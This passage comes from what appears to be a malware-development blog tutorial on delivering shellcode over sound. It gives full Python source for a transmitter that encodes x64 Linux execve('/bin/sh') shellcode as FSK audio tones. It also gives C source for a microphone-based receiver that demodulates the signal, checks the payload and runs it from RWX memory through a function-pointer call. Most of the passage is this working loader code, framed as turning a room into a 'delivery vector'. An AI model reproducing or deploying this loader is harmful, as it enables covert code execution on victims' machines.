    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">p</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">payload</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="o">=</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">);</span>
      <span class="n">calc_cksum</span> <span class="o">^=</span> <span class="n">payload</span><span class="p">[</span><span class="n">p</span><span class="p">];</span>
      <span class="n">cursor</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">calc_cksum</span> <span class="o">==</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %d: checksum OK. executing %d bytes...</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
      <span class="kt">void</span> <span class="o">*</span><span class="n">mem</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="n">PROT_READ</span><span class="o">|</span><span class="n">PROT_WRITE</span><span class="o">|</span><span class="n">PROT_EXEC</span><span class="p">,</span> <span class="n">MAP_ANON</span><span class="o">|</span><span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
      <span class="n">memcpy</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
      <span class="p">((</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">mem</span><span class="p">)();</span>
      <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">free</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">free</span><span class="p">(</span><span class="n">bits</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">try_offset</code> function is the core engine of our <em>acoustic ear</em>. It combines frequency detection with a brute-force alignment strategy. By iterating through sample offsets and verifying the result with an <code class="language-plaintext highlighter-rouge">XOR</code> checksum, the loader guarantees that it only executes a perfectly reconstructed payload, effectively turning a noisy room into a reliable delivery vector.</p>

<p>Otherwise, the logic is the same as in the first part, we use <code class="language-plaintext highlighter-rouge">alsa/asoundlib.h</code>. We configure the hardware to match our transmitter: <code class="language-plaintext highlighter-rouge">48,000 Hz</code> sampling rate, Mono, and <code class="language-plaintext highlighter-rouge">16-bit</code> signed format:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">snd_pcm_t</span> <span class="o">*</span><span class="n">handle</span><span class="p">;</span>
<span class="n">snd_pcm_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">handle</span><span class="p">,</span> <span class="s">"default"</span><span class="p">,</span> <span class="n">SND_PCM_STREAM_CAPTURE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">snd_pcm_set_params</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="n">SND_PCM_FORMAT_S16_LE</span><span class="p">,</span> <span class="n">SND_PCM_ACCESS_RW_INTERLEAVED</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">48000</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">500000</span><span class="p">);</span>
</code></pre></div></div>

<p>So, full source code for transmission is looks like this, includes the protocol framing and the live visualization for our research presentation:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="s">"""
transmit_live.py
acoustic shellcode transmitter - part 2: framing &amp; sync
author: @cocomelonc
"""</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">sounddevice</span> <span class="k">as</span> <span class="n">sd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>

<span class="c1"># -- protocol constants (must match receiver.c) --
</span><span class="n">SAMPLE_RATE</span>  <span class="o">=</span> <span class="mi">48000</span>
<span class="n">BAUD_RATE</span>    <span class="o">=</span> <span class="mi">300</span>
<span class="n">FREQ_MARK</span>    <span class="o">=</span> <span class="mi">2200</span>          <span class="c1"># bit 1
</span><span class="n">FREQ_SPACE</span>   <span class="o">=</span> <span class="mi">1200</span>          <span class="c1"># bit 0
</span><span class="n">SPB</span>          <span class="o">=</span> <span class="n">SAMPLE_RATE</span> <span class="o">//</span> <span class="n">BAUD_RATE</span> <span class="c1"># 160 samples per bit
</span><span class="n">PREAMBLE</span>     <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">])</span>

<span class="c1"># -- visualization constants --
</span><span class="n">WINDOW_BITS</span>  <span class="o">=</span> <span class="mi">24</span>
<span class="n">WINDOW_SAMPS</span> <span class="o">=</span> <span class="n">SPB</span> <span class="o">*</span> <span class="n">WINDOW_BITS</span>
<span class="n">TARGET_FPS</span>   <span class="o">=</span> <span class="mi">30</span>

<span class="c1"># -- x64 Linux execve("/bin/sh") --
</span><span class="n">SHELLCODE</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span>
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> 
    <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> 
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x05</span>
<span class="p">])</span>

<span class="k">def</span> <span class="nf">build_frame</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="n">cksum</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">:</span> <span class="n">cksum</span> <span class="o">^=</span> <span class="n">b</span>
    <span class="k">return</span> <span class="n">PREAMBLE</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&gt;H'</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">cksum</span><span class="p">])</span>

<span class="k">def</span> <span class="nf">generate_tone</span><span class="p">(</span><span class="n">bit</span><span class="p">):</span>
    <span class="n">freq</span> <span class="o">=</span> <span class="n">FREQ_MARK</span> <span class="k">if</span> <span class="n">bit</span> <span class="k">else</span> <span class="n">FREQ_SPACE</span>
    <span class="n">t</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">SPB</span><span class="p">)</span> <span class="o">/</span> <span class="n">SAMPLE_RATE</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">sin</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="n">pi</span> <span class="o">*</span> <span class="n">freq</span> <span class="o">*</span> <span class="n">t</span><span class="p">).</span><span class="n">astype</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">byte_to_signal</span><span class="p">(</span><span class="n">byte</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">generate_tone</span><span class="p">((</span><span class="n">byte</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">)])</span>

<span class="k">def</span> <span class="nf">build_figure</span><span class="p">():</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">use</span><span class="p">(</span><span class="s">'dark_background'</span><span class="p">)</span>
    <span class="n">fig</span><span class="p">,</span> <span class="p">(</span><span class="n">ax_wave</span><span class="p">,</span> <span class="n">ax_spec</span><span class="p">)</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="n">subplots</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span>
    <span class="n">fig</span><span class="p">.</span><span class="n">suptitle</span><span class="p">(</span><span class="s">'[=^..^=] live acoustic transmission'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s">'#00ff88'</span><span class="p">)</span>
    <span class="n">line_wave</span><span class="p">,</span> <span class="o">=</span> <span class="n">ax_wave</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">),</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">),</span> <span class="n">color</span><span class="o">=</span><span class="s">'#ffffff'</span><span class="p">,</span> <span class="n">lw</span><span class="o">=</span><span class="mf">0.8</span><span class="p">)</span>
    <span class="n">ax_wave</span><span class="p">.</span><span class="n">set_ylim</span><span class="p">(</span><span class="o">-</span><span class="mf">1.3</span><span class="p">,</span> <span class="mf">1.3</span><span class="p">)</span>
    <span class="n">ax_wave</span><span class="p">.</span><span class="n">set_axis_off</span><span class="p">()</span>
    <span class="n">freqs</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="n">rfftfreq</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">,</span> <span class="n">d</span><span class="o">=</span><span class="mf">1.0</span><span class="o">/</span><span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">line_spec</span><span class="p">,</span> <span class="o">=</span> <span class="n">ax_spec</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">freqs</span><span class="p">,</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">freqs</span><span class="p">)),</span> <span class="n">color</span><span class="o">=</span><span class="s">'#ffaa00'</span><span class="p">,</span> <span class="n">lw</span><span class="o">=</span><span class="mf">1.0</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_xlim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">4000</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_ylim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mf">1.1</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">fig</span><span class="p">,</span> <span class="n">line_wave</span><span class="p">,</span> <span class="n">line_spec</span>

<span class="k">def</span> <span class="nf">transmit_live</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="n">frame</span> <span class="o">=</span> <span class="n">build_frame</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
    <span class="n">body</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">byte_to_signal</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">frame</span><span class="p">])</span>
    <span class="n">lead</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">SAMPLE_RATE</span> <span class="o">*</span> <span class="mf">0.5</span><span class="p">),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>
    <span class="n">signal</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">lead</span><span class="p">,</span> <span class="n">body</span><span class="p">,</span> <span class="n">lead</span><span class="p">])</span>
    <span class="n">total_samples</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">signal</span><span class="p">)</span>

    <span class="n">fig</span><span class="p">,</span> <span class="n">line_wave</span><span class="p">,</span> <span class="n">line_spec</span> <span class="o">=</span> <span class="n">build_figure</span><span class="p">()</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">ion</span><span class="p">()</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>

    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] shellcode: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes | frame: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">frame</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes"</span><span class="p">)</span>
    <span class="n">sd</span><span class="p">.</span><span class="n">play</span><span class="p">(</span><span class="n">signal</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">t_start</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">perf_counter</span><span class="p">()</span>

    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">elapsed</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">perf_counter</span><span class="p">()</span> <span class="o">-</span> <span class="n">t_start</span>
        <span class="n">curr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">elapsed</span> <span class="o">*</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">curr</span> <span class="o">&gt;=</span> <span class="n">total_samples</span><span class="p">:</span> <span class="k">break</span>
        <span class="n">start</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">curr</span> <span class="o">-</span> <span class="n">WINDOW_SAMPS</span> <span class="o">//</span> <span class="mi">2</span><span class="p">)</span>
        <span class="n">window</span> <span class="o">=</span> <span class="n">signal</span><span class="p">[</span><span class="n">start</span><span class="p">:</span><span class="n">start</span> <span class="o">+</span> <span class="n">WINDOW_SAMPS</span><span class="p">]</span>
        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">window</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">WINDOW_SAMPS</span><span class="p">:</span> <span class="n">window</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">pad</span><span class="p">(</span><span class="n">window</span><span class="p">,</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">WINDOW_SAMPS</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">window</span><span class="p">)))</span>
        <span class="n">line_wave</span><span class="p">.</span><span class="n">set_ydata</span><span class="p">(</span><span class="n">window</span><span class="p">)</span>
        <span class="n">mag</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nb">abs</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="n">rfft</span><span class="p">(</span><span class="n">window</span><span class="p">))</span>
        <span class="k">if</span> <span class="n">mag</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span> <span class="n">mag</span> <span class="o">/=</span> <span class="n">mag</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span>
        <span class="n">line_spec</span><span class="p">.</span><span class="n">set_ydata</span><span class="p">(</span><span class="n">mag</span><span class="p">)</span>
        <span class="n">fig</span><span class="p">.</span><span class="n">canvas</span><span class="p">.</span><span class="n">draw_idle</span><span class="p">()</span>
        <span class="n">plt</span><span class="p">.</span><span class="n">pause</span><span class="p">(</span><span class="mf">1.0</span><span class="o">/</span><span class="n">TARGET_FPS</span><span class="p">)</span>

    <span class="n">sd</span><span class="p">.</span><span class="n">wait</span><span class="p">()</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] transmission finished."</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">transmit_live</span><span class="p">(</span><span class="n">SHELLCODE</span><span class="p">)</span>
</code></pre></div></div>

<p>and for receiver, full source code in C looks like this (<code class="language-plaintext highlighter-rouge">receiver.c</code>):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * receiver.c
 * batch FSK receiver with brute-force alignment scanning.
 * author: @cocomelonc
 */</span>
<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;math.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;alsa/asoundlib.h&gt;</span><span class="cp">
</span>
<span class="c1">// Bell 202 and DSP Constants</span>
<span class="cp">#define PI          3.14159265358979323846
#define SAMPLE_RATE 48000
#define BAUD_RATE   300
#define FREQ_MARK   2200            // frequency for Bit 1
#define FREQ_SPACE  1200            // frequency for Bit 0
#define SPB         (SAMPLE_RATE / BAUD_RATE)   // samples per Bit (160)
</span>
<span class="c1">// brute-force alignment parameters</span>
<span class="cp">#define CAPTURE_SECS 6              // capture duration
#define N_OFFSETS    16             // number of trial offsets per bit period
#define OFFSET_STEP  (SPB / N_OFFSETS) // 10 samples shift per trial
</span>
<span class="c1">// frame preamble for synchronization</span>
<span class="k">static</span> <span class="k">const</span> <span class="kt">uint8_t</span> <span class="n">PREAMBLE</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">};</span>

<span class="c1">// Goertzel algorithm: detects the magnitude of a specific frequency in a block of samples</span>
<span class="k">static</span> <span class="kt">double</span> <span class="n">goertzel</span><span class="p">(</span><span class="k">const</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">,</span> <span class="kt">double</span> <span class="n">freq</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">double</span> <span class="n">omega</span> <span class="o">=</span> <span class="mf">2.0</span> <span class="o">*</span> <span class="n">PI</span> <span class="o">*</span> <span class="n">freq</span> <span class="o">/</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">SAMPLE_RATE</span><span class="p">;</span>
  <span class="kt">double</span> <span class="n">coeff</span> <span class="o">=</span> <span class="mf">2.0</span> <span class="o">*</span> <span class="n">cos</span><span class="p">(</span><span class="n">omega</span><span class="p">);</span>
  <span class="kt">double</span> <span class="n">q1</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">,</span> <span class="n">q2</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">,</span> <span class="n">q0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// normalize 16-bit PCM to float and apply recursive filter</span>
    <span class="n">q0</span> <span class="o">=</span> <span class="n">coeff</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">-</span> <span class="n">q2</span> <span class="o">+</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">/</span> <span class="mf">32768.0</span><span class="p">;</span>
    <span class="n">q2</span> <span class="o">=</span> <span class="n">q1</span><span class="p">;</span>
    <span class="n">q1</span> <span class="o">=</span> <span class="n">q0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">q1</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">+</span> <span class="n">q2</span> <span class="o">*</span> <span class="n">q2</span> <span class="o">-</span> <span class="n">coeff</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">*</span> <span class="n">q2</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// reconstructs a byte from a bit stream (LSB-first)</span>
<span class="kt">uint8_t</span> <span class="n">get_byte</span><span class="p">(</span><span class="k">const</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">bits</span><span class="p">,</span> <span class="kt">int</span> <span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">uint8_t</span> <span class="n">res</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="k">if</span> <span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="n">offset</span> <span class="o">+</span> <span class="n">i</span><span class="p">])</span> <span class="n">res</span> <span class="o">|=</span> <span class="p">(</span><span class="kt">uint8_t</span><span class="p">)(</span><span class="mi">1u</span> <span class="o">&lt;&lt;</span> <span class="n">i</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// tries to decode the captured audio buffer starting at a specific sample offset</span>
<span class="kt">int</span> <span class="n">try_offset</span><span class="p">(</span><span class="k">const</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">audio</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n_samples</span><span class="p">,</span> <span class="kt">int</span> <span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">n_bits</span> <span class="o">=</span> <span class="p">(</span><span class="n">n_samples</span> <span class="o">-</span> <span class="n">offset</span><span class="p">)</span> <span class="o">/</span> <span class="n">SPB</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">bits</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">n_bits</span><span class="p">);</span>

  <span class="c1">// demodulate audio samples into a digital bit array</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n_bits</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">double</span> <span class="n">pm</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_MARK</span><span class="p">);</span>
    <span class="kt">double</span> <span class="n">ps</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_SPACE</span><span class="p">);</span>
    <span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">pm</span> <span class="o">&gt;</span> <span class="n">ps</span><span class="p">)</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">// scan bit array for the 40-bit preamble</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n_bits</span> <span class="o">-</span> <span class="mi">80</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">b</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">;</span> <span class="n">b</span><span class="o">++</span><span class="p">)</span> <span class="k">if</span> <span class="p">(</span><span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="n">b</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">!=</span> <span class="n">PREAMBLE</span><span class="p">[</span><span class="n">b</span><span class="p">])</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">match</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>

    <span class="c1">// preamble found: Extract 16-bit payload length</span>
    <span class="kt">int</span> <span class="n">cursor</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">40</span><span class="p">;</span>
    <span class="kt">uint16_t</span> <span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span> <span class="o">+</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">cursor</span> <span class="o">+=</span> <span class="mi">16</span><span class="p">;</span>

    <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="p">);</span>
    <span class="kt">uint8_t</span> <span class="n">calc_cksum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// extract payload and calculate XOR checksum</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">p</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">payload</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="o">=</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">);</span>
      <span class="n">calc_cksum</span> <span class="o">^=</span> <span class="n">payload</span><span class="p">[</span><span class="n">p</span><span class="p">];</span>
      <span class="n">cursor</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// verify integrity against the checksum byte</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">calc_cksum</span> <span class="o">==</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %d: checksum OK. executing %d bytes...</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
      
      <span class="c1">// allocate RWX memory and execute shellcode</span>
